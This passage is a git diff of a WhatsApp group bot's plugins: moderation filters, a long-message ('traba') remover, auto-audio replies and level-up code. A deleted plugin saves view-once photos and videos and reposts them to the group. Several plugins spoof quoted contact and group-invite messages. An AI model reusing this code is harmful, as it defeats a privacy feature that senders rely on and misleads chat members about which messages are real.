|puerco|puerca|bullshit|cunt|semen|bitch|motherfucker/i
-
-export async function before(m, { conn, isAdmin, isBotAdmin, isOwner }) {
-
-if (m.isBaileys && m.fromMe)
-return !0
-if (!m.isGroup)
-return !1
- let user = global.db.data.users[m.sender]
- let chat = global.db.data.chats[m.chat]
- let bot = global.db.data.settings[this.user.jid] || {}
- let img = 'https://i.imgur.com/5Q1MqGD.jpg'
- const isToxic = toxicRegex.exec(m.text)
-
-if (isToxic && chat.antitoxic && !isOwner && !isAdmin) {
-user.warn += 1
-if (!(user.warn >= 4)) await m.reply(`${user.warn == 1 ? `*@${m.sender.split`@`[0]}*` : `*@${m.sender.split`@`[0]}*`}, ${lenguajeGB['smsToxic1']()} (${isToxic}) ${lenguajeGB['smsToxic2']()} ${lenguajeGB['smsToxic3']()} *${user.warn}/4*\n\n${wm}`, false, { mentions: [m.sender] })}
-/*await conn.sendButton(m.chat,`${user.warn == 1 ? `*@${m.sender.split`@`[0]}*` : `*@${m.sender.split`@`[0]}*`} *${lenguajeGB['smsToxic1']()} (${isToxic}) ${lenguajeGB['smsToxic2']()}*`, `${lenguajeGB['smsToxic3']()} *${user.warn}/4*\n\n${wm}`, img, [
-[lenguajeGB.smsToxic4(), 'ok'],
-[lenguajeGB.smsToxic5(), '.off antitoxic'],
-[lenguajeGB.smsConMenu(), '/menu']], false, { mentions: [m.sender] })}*/
-
-/*if (user.warn >= 4) {
-user.warn = 0
-await m.reply(`*${lenguajeGB['smsToxic6']()}*\n*@${m.sender.split`@`[0]} ${lenguajeGB['smsToxic7']()}*`, false, { mentions: [m.sender] })
-user.banned = true
-await this.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-//await this.updateBlockStatus(m.sender, 'block')
-global.db.data.users[m.sender].limit -= 5
-}
-return !1
-}*/
diff --git a/plugins/_antitrabas.js b/plugins/_antitrabas.js
deleted file mode 100644
index d626c493c..000000000
--- a/plugins/_antitrabas.js
+++ /dev/null
@@ -1,32 +0,0 @@
-//
-//By @NeKosmic || https://github.com/NeKosmic/
-//
-
-import * as fs from 'fs'
-
-export async function before(m, { conn, isAdmin, isBotAdmin, usedPrefix }) {
- if (m.isBaileys && m.fromMe)
- return !0
- if (!m.isGroup) return !1
- let chat = global.db.data.chats[m.chat]
- let bot = global.db.data.settings[this.user.jid] || {}
- let delet = m.key.participant
- let bang = m.key.id
- let name = await conn.getName(m.sender)
- let fakemek = {key: {participant: "0@s.whatsapp.net","remoteJid": "0@s.whatsapp.net"},"message": {"groupInviteMessage": {"groupJid": "51995386439-1616969743@g.us","inviteCode": "m","groupName": "P", "caption": 'ɢᴀᴛᴀʙᴏᴛ-ᴍᴅ', 'jpegThumbnail': null}}}
- if (chat.antiTraba && m.text.length > 4000) { //Cantidad máxima de caracteres aceptados en un mensaje//
- if (isAdmin) return conn.sendMessage(m.chat, { text: `${lenguajeGB['smsEnlaceWat']()}El administrador @${m.sender.split("@")[0]} acaba de enviar un texto que contiene muchos caracteres -.-!`, mentions: [m.sender] }, { quoted: fakemek, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
- conn.sendMessage(m.chat, `*[ ! ] Se detecto un mensaje que contiene muchos caracteres [ ! ]*\n`, `${isBotAdmin ? '' : 'No soy administrador, no puedo hacer nada :/'}`, m)
- //await conn.sendButton(m.chat, `*[ ! ] Se detecto un mensaje que contiene muchos caracteres [ ! ]*\n`, `${isBotAdmin ? '' : 'No soy administrador, no puedo hacer nada :/'}`, author, ['[ ᴅᴇsᴀᴄᴛɪᴠᴀ ᴀɴᴛɪᴛʀᴀʙᴀ ]', usedPrefix+'apagar antitraba'], fakemek )
- if (isBotAdmin) {
- conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet }})
- setTimeout(() => {
- conn.sendMessage(m.chat, { text: `Marcar el chat como leido ✓\n${"\n".repeat(400)}\n• El número : wa.me/${m.sender.split("@")[0]}\n• Alias : ${name}\n‼️Acaba de enviar un texto que contiene muchos caracteres que puede ocasionar fallos en los dispositivos`, mentions: [m.sender] }, { quoted: fakemek, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
- }, 0)
- setTimeout(() => {
- conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
- }, 1000)
- } else if (!bot.restrict) return m.reply(`${lenguajeGB['smsSoloOwner']()}`)
- }
- return !0
-}
diff --git a/plugins/_antiviewonce.js b/plugins/_antiviewonce.js
deleted file mode 100644
index 092019ad7..000000000
--- a/plugins/_antiviewonce.js
+++ /dev/null
@@ -1,19 +0,0 @@
-let { downloadContentFromMessage } = (await import(global.baileys));
-
-export async function before(m, { isAdmin, isBotAdmin }) {
-
-let chat = db.data.chats[m.chat]
-if (/^[.~#/\$,](read)?viewonce/.test(m.text)) return
-if (!chat.antiver || chat.isBanned) return
-if (m.mtype == 'viewOnceMessageV2') {
-let msg = m.message.viewOnceMessageV2.message
-let type = Object.keys(msg)[0]
-let media = await downloadContentFromMessage(msg[type], type == 'imageMessage' ? 'image' : 'video')
-let buffer = Buffer.from([])
-for await (const chunk of media) {
-buffer = Buffer.concat([buffer, chunk])}
-if (/video/.test(type)) {
-return this.sendFile(m.chat, buffer, 'error.mp4', `${msg[type].caption}\n\n${lenguajeGB.smsAntiView()}`, m)
-} else if (/image/.test(type)) {
-return this.sendFile(m.chat, buffer, 'error.jpg', `${msg[type].caption}\n\n${lenguajeGB.smsAntiView()}`, m)
-}}}
diff --git a/plugins/_antivirus.js b/plugins/_antivirus.js
deleted file mode 100644
index ff90e31ce..000000000
--- a/plugins/_antivirus.js
+++ /dev/null
@@ -1,15 +0,0 @@
-let handler = m => m
-
-handler.all = async function (m, { isBotAdmin }) {
-// borrado automático cuando hay un mensaje que no se puede ver en el escritorio | auto clear ketika terdapat pesan yang tidak dapat dilihat di wa desktop
-if (m.messageStubType === 68) {
-let log = {
-key: m.key,
-content: m.msg,
-sender: m.sender
-}
-await this.modifyChat(m.chat, 'clear', {
-includeStarred: false
-}).catch(console.log)
-}}
-export default handler
diff --git a/plugins/_audios.js b/plugins/_audios.js
new file mode 100644
index 000000000..0b33f5d78
--- /dev/null
+++ b/plugins/_audios.js
@@ -0,0 +1,62 @@
+import { db, getSubbotConfig } from '../lib/postgres.js';
+import fs from 'fs';
+import path from 'path';
+
+const audiosPath = path.resolve('./src/audios.json');
+function getAudios() {
+ try {
+ return JSON.parse(fs.readFileSync(audiosPath));
+ } catch (e) {
+ console.error('[❌] Error leyendo audios.json dinámicamente:', e);
+ return {};
+ }
+}
+
+export async function before(m, { conn }) {
+if (!m || m.fromMe || !m.originalText || m.originalText.length > 500) return;
+const botId = conn?.user?.id?.replace(/:\d+/, "");
+const config = await getSubbotConfig(botId);
+const prefixes = Array.isArray(config?.prefix) ? config.prefix : ['.', '/', '#'];
+const texto = m.originalText.trim();
+
+if (prefixes.some(p => texto.startsWith(p))) return;
+try {
+const res = await db.query('SELECT audios FROM group_settings WHERE group_id = $1', [m.chat]);
+if (!res.rows[0]?.audios) return;
+} catch (e) {
+console.error('[❌] Error al consultar configuración de audios:', e);
+return;
+}
+
+const lowerTexto = texto.toLowerCase();
+const chatId = m.chat.trim();
+const audios = getAudios();
+const sources = [audios[chatId], audios.global].filter(Boolean);
+
+for (const source of sources) {
+const clave = Object.keys(source).find(k => {
+try {
+const regex = new RegExp(source[k].regex, 'i');
+const matches = lowerTexto.match(regex);
+return matches?.[0]?.length === lowerTexto.length; // match exacto
+} catch {
+return false;
+}
+});
+
+if (!clave) continue;
+
+const audio = source[clave];
+try {
+await conn.sendPresenceUpdate('recording', m.chat);
+const isBase64 = audio.audio.startsWith('data:audio/');
+const isLocal = audio.audio.startsWith('./') || audio.audio.startsWith('/');
+const listaAudios = Array.isArray(audio.audios) ? audio.audios : [audio.audio];
+const elegido = listaAudios[Math.floor(Math.random() * listaAudios.length)];
+
+await conn.sendMessage(m.chat, { audio: elegido.startsWith('data:audio/') ? Buffer.from(elegido.split(',')[1], 'base64') : elegido.startsWith('./') || elegido.startsWith('/') ? { url: path.resolve(elegido) } : { url: elegido }, mimetype: 'audio/mpeg', ptt: true }, { quoted: m });
+break;
+} catch (err) {
+console.error('[❌] Error enviando audio automático:', err);
+}}
+}
diff --git a/plugins/_autodel_chatgpt.js b/plugins/_autodel_chatgpt.js
deleted file mode 100644
index 2f593f8ba..000000000
--- a/plugins/_autodel_chatgpt.js
+++ /dev/null
@@ -1,52 +0,0 @@
-const INACTIVITY_TIMEOUT_MS = 30 * 60 * 1000;
-
-async function deleteInactiveUserData(m) {
- const user = global.chatgpt.data.users[m.sender];
- if (!user) return; // Si no existe el usuario, no hace nada
-
- const lastUpdateTime = user.lastUpdate || 0;
- const currentTime = new Date().getTime();
-
- if (currentTime - lastUpdateTime > INACTIVITY_TIMEOUT_MS) {
- delete global.chatgpt.data.users[m.sender];
- //console.log(`Datos del usuario ${m.sender} eliminados después de ${INACTIVITY_TIMEOUT_MS / 1000 / 60} minutos de inactividad.`);
- }
-}
-
-export async function all(m) {
- let user = global.chatgpt.data.users[m.sender];
-
- if (user) {
- user.lastUpdate = new Date().getTime();
- global.chatgpt.data.users[m.sender] = user;
- } else {
- return; // Si no existe el usuario, no hace nada
- }
-
- setTimeout(() => deleteInactiveUserData(m), INACTIVITY_TIMEOUT_MS);
-}
-
-/*const INACTIVITY_TIMEOUT_MS = 30 * 60 * 1000;
-
-async function deleteInactiveUserData(m) {
- const user = global.chatgpt.data.users[m.sender];
- const lastUpdateTime = user?.lastUpdate || 0;
- const currentTime = new Date().getTime();
-
- if (currentTime - lastUpdateTime > INACTIVITY_TIMEOUT_MS) {
- delete global.chatgpt.data.users[m.sender];
- //console.log(`Datos del usuario ${m.sender} eliminados después de ${INACTIVITY_TIMEOUT_MS / 1000 / 60} minutos de inactividad.`);
- }
-}
-
-export async function all(m) {
- let user = global.chatgpt.data.users[m.sender];
-
- if (user) {
- user.lastUpdate = new Date().getTime();
- global.chatgpt.data.users[m.sender] = user;
- }
-
- setTimeout(() => deleteInactiveUserData(m), INACTIVITY_TIMEOUT_MS);
-
-}*/
diff --git a/plugins/_autodetec.js b/plugins/_autodetec.js
deleted file mode 100644
index 5a6def4e1..000000000
--- a/plugins/_autodetec.js
+++ /dev/null
@@ -1,29 +0,0 @@
-let WAMessageStubType = (await import(global.baileys)).default
-export async function before(m, { conn, participants}) {
-if (!m.messageStubType || !m.isGroup) return
-let usuario = `@${m.sender.split`@`[0]}`
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let users = participants.map(u => conn.decodeJid(u.id))
-if (m.messageStubType == 21) {
-await this.sendMessage(m.chat, { text: `${usuario} 𝙃𝘼𝙎 𝘾𝘼𝙈𝘽𝙄𝘼𝘿𝙊 𝙀𝙇 𝙉𝙊𝙈𝘽𝙍𝙀́ 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝘼:\n\n*${m.messageStubParameters[0]}*`, mentions: [m.sender], mentions: (await conn.groupMetadata(m.chat)).participants.map(v => v.id) }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 22) {
-await this.sendMessage(m.chat, { text: `${usuario} 𝙃𝘼𝙎 𝘾𝘼𝙈𝘽𝙄𝘼𝘿𝙊 𝙇𝘼𝙎 𝙁𝙊𝙏𝙊 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 24) {
-await this.sendMessage(m.chat, { text: `${usuario} 𝙉𝙐𝙀𝙑𝘼 𝘿𝙀𝙎𝘾𝙍𝙄𝙋𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 𝙀𝙎:\n\n${m.messageStubParameters[0]}`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 25) {
-await this.sendMessage(m.chat, { text: `🔒 𝘼𝙃𝙊𝙍𝘼 *${m.messageStubParameters[0] == 'on' ? '𝙎𝙊𝙇𝙊 𝘼𝘿𝙈𝙄𝙉𝙎' : '𝙏𝙊𝘿𝙊𝙎'}* 𝙋𝙐𝙀𝘿𝙀 𝙀𝘿𝙄𝙏𝘼𝙍 𝙇𝘼 𝙄𝙉𝙁𝙊𝙍𝙈𝘼𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 26) {
-await this.sendMessage(m.chat, { text: `𝙀𝙇 𝙂𝙍𝙐𝙋𝙊 *${m.messageStubParameters[0] == 'on' ? '𝙀𝙎𝙏𝘼 𝘾𝙀𝙍𝙍𝘼𝘿𝙊 🔒' : '𝙀𝙎𝙏𝘼 𝘼𝘽𝙄𝙀𝙍𝙏𝙊 🔓'}*\n ${m.messageStubParameters[0] == 'on' ? '𝙎𝙊𝙇𝙊 𝙇𝙊𝙎 𝘼𝘿𝙈𝙄𝙉𝙎 𝙋𝙐𝙀𝘿𝙀𝙉 𝙀𝙎𝘾𝙍𝙄𝘽𝙄𝙍' : '𝙔𝘼 𝙋𝙐𝙀𝘿𝙀𝙉 𝙀𝙎𝘾𝙍𝙄𝘽𝙄𝙍 𝙏𝙊𝘿𝙊𝙎'} 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 29) {
-await this.sendMessage(m.chat, { text: `@${m.messageStubParameters[0].split`@`[0]} 𝘼𝙃𝙊𝙍𝘼 𝙀𝙎 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n😼🫵𝘼𝘾𝘾𝙄𝙊𝙉 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝘿𝘼 𝙋𝙊𝙍: ${usuario}`, mentions: [`${m.sender}`,`${m.messageStubParameters[0]}`], mentions: (await conn.groupMetadata(m.chat)).participants.map(v => v.id) }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 30) {
-await this.sendMessage(m.chat, { text: `@${m.messageStubParameters[0].split`@`[0]} 𝘿𝙀𝙅𝘼 𝘿𝙀 𝙎𝙀𝙍 𝘼𝘿𝙈𝙄𝙉 𝙀𝙉 𝙀𝙎𝙏𝙀 𝙂𝙍𝙐𝙋𝙊\n\n😼🫵𝘼𝘾𝘾𝙄𝙊𝙉 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝘿𝘼 𝙋𝙊𝙍: ${usuario}`, mentions: [`${m.sender}`,`${m.messageStubParameters[0]}`], mentions: (await conn.groupMetadata(m.chat)).participants.map(v => v.id) }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 72) {
-await this.sendMessage(m.chat, { text: `${usuario} 𝘾𝘼𝙈𝘽𝙄𝙊 𝙇𝘼𝙎 𝘿𝙐𝙍𝘼𝘾𝙄𝙊𝙉 𝘿𝙀𝙇 𝙇𝙊𝙎 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝙏𝙀𝙈𝙋𝙊𝙍𝘼𝙇𝙀𝙎 𝘼 *@${m.messageStubParameters[0]}*`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else if (m.messageStubType == 123) {
-await this.sendMessage(m.chat, { text: `${usuario} *𝘿𝙀𝙎𝘼𝘾𝙏𝙄𝙑𝙊́* 𝙇𝙊𝙎 𝙈𝙀𝙉𝙎𝘼𝙅𝙀 𝙏𝙀𝙈𝙋𝙊𝙍𝘼𝙇.`, mentions: [m.sender] }, { quoted: fkontak, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-} else {
-console.log({messageStubType: m.messageStubType,
-messageStubParameters: m.messageStubParameters,
-type: WAMessageStubType[m.messageStubType],
-})}}
diff --git a/plugins/_autolevelup.js b/plugins/_autolevelup.js
index b097f7227..b24bdb9e8 100644
--- a/plugins/_autolevelup.js
+++ b/plugins/_autolevelup.js
@@ -1,272 +1,66 @@
-import { canLevelUp, xpRange } from '../lib/levelling.js'
-import { levelup } from '../lib/canvas.js'
-export function before(m, { conn }) {
-//if (!db.data.chats[m.chat].autonivel && m.isGroup) throw
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender
-let mentionedJid = [who]
-let username = conn.getName(who)
-
-let user = global.db.data.users[m.sender]
-let chat = global.db.data.chats[m.chat]
-if (!chat.autolevelup)
-return !0
-
-let before = user.level * 1
-while (canLevelUp(user.level, user.exp, global.multiplier)) user.level++
- if (before !== user.level) {
+import { canLevelUp } from '../lib/levelling.js'
- conn.reply(m.chat, `*「 FELICIDADES LEVEL UP 🆙🥳 」*\n\nFelicidades subiste de nivel sigue asi 👏\n\n▢ ${lenguajeGB.smsAutoLv2()} ${before}\n▢ ${lenguajeGB.smsAutoLv3()} ${user.level}\n▢ ${lenguajeGB.smsAutoLv4()} ${user.role}\n\n*_${lenguajeGB.smsAutoLv6()}_*`, fkontak, m)
-/*conn.sendButton(m.chat, ' ' + wm, `┌───⊷ ${username}
-▢ ${lenguajeGB.smsAutoLv2()} ${before}
-▢ ${lenguajeGB.smsAutoLv3()} ${user.level}
-▢ ${lenguajeGB.smsAutoLv4()} ${user.role}
-└──────────────
+const multiplier = 650
-*_${lenguajeGB.smsAutoLv6()}_*`, null, [[lenguajeGB.smsConMenu(), `/menu`]], m)*/
+export async function before(m, { conn }) {
+const chatres = await m.db.query('SELECT autolevelup FROM group_settings WHERE group_id = $1', [m.chat])
+const chat = chatres.rows[0]
+if (!chat?.autolevelup) return
+const res = await m.db.query('SELECT exp, level, role FROM usuarios WHERE id = $1', [m.sender])
+const user = res.rows[0]
+const before = user.level
+let currentLevel = user.level
+while (canLevelUp(currentLevel, user.exp, multiplier)) {
+currentLevel++
+}
-let especial = ['limit', 'diamond', 'joincount', 'emerald', 'berlian', 'kyubi', 'gold', 'money', 'tiketcoin', 'stamina'].getRandom()
-let especial2 = ['potion', 'aqua', 'trash', 'wood', 'rock', 'batu', 'string', 'iron', 'coal', 'botol', 'kaleng', 'kardus'].getRandom()
-let especial3 = ['eleksirb', 'emasbatang', 'emasbiasa', 'rubah', 'sampah', 'serigala', 'kayu', 'sword', 'umpan', 'healtmonster', 'emas', 'pancingan', 'pancing'].getRandom()
-let especial4 = ['common', 'uncoommon', 'mythic', 'pet', 'gardenboxs', 'legendary'].getRandom()
+if (currentLevel > before) {
+const newRole = getRole(currentLevel).name
+await m.db.query('UPDATE usuarios SET level = $1, role = $2 WHERE id = $3', [currentLevel, newRole, m.sender])
+user.level = currentLevel
+user.role = newRole
+
+conn.reply(m.chat, [`*「 FELICIDADES LEVEL UP 🆙🥳 」*\n\nFelicidades subiste de nivel sigue asi 👏\n\n*• NIVEL:* ${before} ⟿ ${user.level}\n*• RANGO:* ${user.role}\n\n_*Para ver tu XP en tiempo real coloca el comando #level*_`, `@${m.sender.split`@`[0]} Ohhh pa has alcanzado el siguiente nivel\n*• NIVEL:* ${before} ⟿ ${user.level}\n\n_*Para ver quien es esta el top coloca el comando #lb*_`, `Que pro @${m.sender.split`@`[0]} has alcanzado un nuevo nivel 🙌\n\n*• Nuevo nivel:* ${user.level}\n*• Nivel anterior:* ${before}\n`].getRandom(), m, {contextInfo: {externalAdReply :{ mediaUrl: null, mediaType: 1, description: null, title: info.wm, body: ' 💫 𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐚𝐩𝐩 🥳 ', previewType: 0, thumbnail: m.pp, sourceUrl: info.md}}})
+
+let niv = `*${m.pushName || 'Anónimo'}* Obtiene un nuevo nivel 🥳
-let especialCant = [6, 7, 6, 7, 6, 6, 6, 7, 8, 9, 8, 3, 9, 7, 9].getRandom()
-let especialCant2 = [6, 7, 6, 7, 6, 6, 6, 7, 8, 9, 10, 3, 11, 7, 9].getRandom()
-let especialCant3 = [6, 7, 6, 7, 6, 6, 6, 7, 8, 9, 10, 3, 11, 7, 9].getRandom()
-let especialCant4 = [2, 2, 2, 3, 3, 3, 3, 1, 1, 1, 1, 1, 1, 2, 2].getRandom()
+*• Nivel anterior:* ${before}
+*• Nivel actúal :* ${user.level}
+*• Rol:* ${user.role}
+*• Bot:* ${info.wm}`
+let nivell = `*${m.pushName || 'Anónimo'} Haz subido un nuevo nivel 🥳*
-let normal = ['potion', 'aqua', 'trash', 'wood', 'rock', 'batu', 'string', 'iron', 'coal', 'botol', 'kaleng', 'kardus'].getRandom()
-let normal2 = ['petFood', 'makanancentaur', 'makanangriffin', 'makanankyubi', 'makanannaga', 'makananpet', 'makananphonix' ].getRandom()
-let normal3 = ['anggur', 'apel', 'jeruk', 'mangga', 'pisang'].getRandom()
+> _*• NIVEL:* ${before} ⟿ ${user.level}_`
+let nivelll = `🥳 ${m.pushName || 'Anónimo'} Que pro Acaba de alcanzar un nuevo nivel 🥳
-let normalCant = [1, 3, 3, 3, 4, 4, 2, 2, 4, 4, 4, 4, 1].getRandom()
-let normalCant2 = [1, 3, 2, 2, 4, 4, 2, 2, 4, 4, 5, 5, 1].getRandom()
-let normalCant3 = [1, 3, 3, 3, 4, 4, 2, 2, 4, 4, 4, 4, 1].getRandom()
+*• Nivel:* ${before} ⟿ ${user.level}
+*• Rango:* ${user.role}
+*• Bot:* ${info.wm}`
+/*await global.conn.sendMessage("120363297379773397@newsletter", { text: [niv, nivell, nivelll].getRandom(), contextInfo: {
+externalAdReply: {
+title: "【 🔔 Notificación General 🔔 】",
+body: '¡Haz subido de nivel 🥳!',
+thumbnailUrl: m.pp,
+sourceUrl: info.nna,
+mediaType: 1,
+showAdAttribution: false,
+renderLargerThumbnail: false
+}}}, { quoted: null }).catch(err => console.error(err))*/
+}}
-if (user.level == 5){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 5!!* 🏆
-𓃠 *${especialCant * 1} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 1} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 1} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 1} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 1
-user[especial2] += especialCant2 * 1
-user[especial3] += especialCant3 * 1
-user[especial4] += especialCant4 * 1
-
-}else if (user.level == 10){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 10!!* 🏆
-𓃠 *${especialCant * 1} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 1} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 1} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 1} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 1
-user[especial2] += especialCant2 * 1
-user[especial3] += especialCant3 * 1
-user[especial4] += especialCant4 * 1
-
-}else if (user.level == 15){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 15!!* 🏆
-𓃠 *${especialCant * 2} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 2} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 2} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 2} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 2
-user[especial2] += especialCant2 * 2
-user[especial3] += especialCant3 * 2
-user[especial4] += especialCant4 * 2
-
-}else if (user.level == 20){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 20!!* 🏆
-𓃠 *${especialCant * 2} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 2} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 2} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 2} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 2
-user[especial2] += especialCant2 * 2
-user[especial3] += especialCant3 * 2
-user[especial4] += especialCant4 * 2
-
-}else if (user.level == 25){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 25!!* 🏆
-𓃠 *${especialCant * 3} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 3} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 3} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 3} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 3
-user[especial2] += especialCant2 * 3
-user[especial3] += especialCant3 * 3
-user[especial4] += especialCant4 * 3
-
-}else if (user.level == 30){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 30!!* 🏆
-𓃠 *${especialCant * 3} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 3} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 3} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 3} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 3
-user[especial2] += especialCant2 * 3
-user[especial3] += especialCant3 * 3
-user[especial4] += especialCant4 * 3
-
-}else if (user.level == 35){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 35!!* 🏆
-𓃠 *${especialCant * 4} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 4} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 4} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 4} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 4
-user[especial2] += especialCant2 * 4
-user[especial3] += especialCant3 * 4
-user[especial4] += especialCant4 * 4
-
-}else if (user.level == 40){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 40!!* 🏆
-𓃠 *${especialCant * 4} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 4} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 4} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 4} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 4
-user[especial2] += especialCant2 * 4
-user[especial3] += especialCant3 * 4
-user[especial4] += especialCant4 * 4
-
-}else if (user.level == 45){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 45!!* 🏆
-𓃠 *${especialCant * 4} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 4} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 4} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 4} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 4
-user[especial2] += especialCant2 * 4
-user[especial3] += especialCant3 * 4
-user[especial4] += especialCant4 * 4
-
-}else if (user.level == 50){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 50!!* 🏆
-𓃠 *${especialCant * 5} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 5} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 5} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 5} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 5
-user[especial2] += especialCant2 * 5
-user[especial3] += especialCant3 * 5
-user[especial4] += especialCant4 * 5
-
-}else if (user.level == 55){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 55!!* 🏆
-𓃠 *${especialCant * 5} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 5} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 5} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 5} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 5
-user[especial2] += especialCant2 * 5
-user[especial3] += especialCant3 * 5
-user[especial4] += especialCant4 * 5
-
-}else if (user.level == 60){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 60!!* 🏆
-𓃠 *${especialCant * 5} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 5} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 5} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 5} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 5
-user[especial2] += especialCant2 * 5
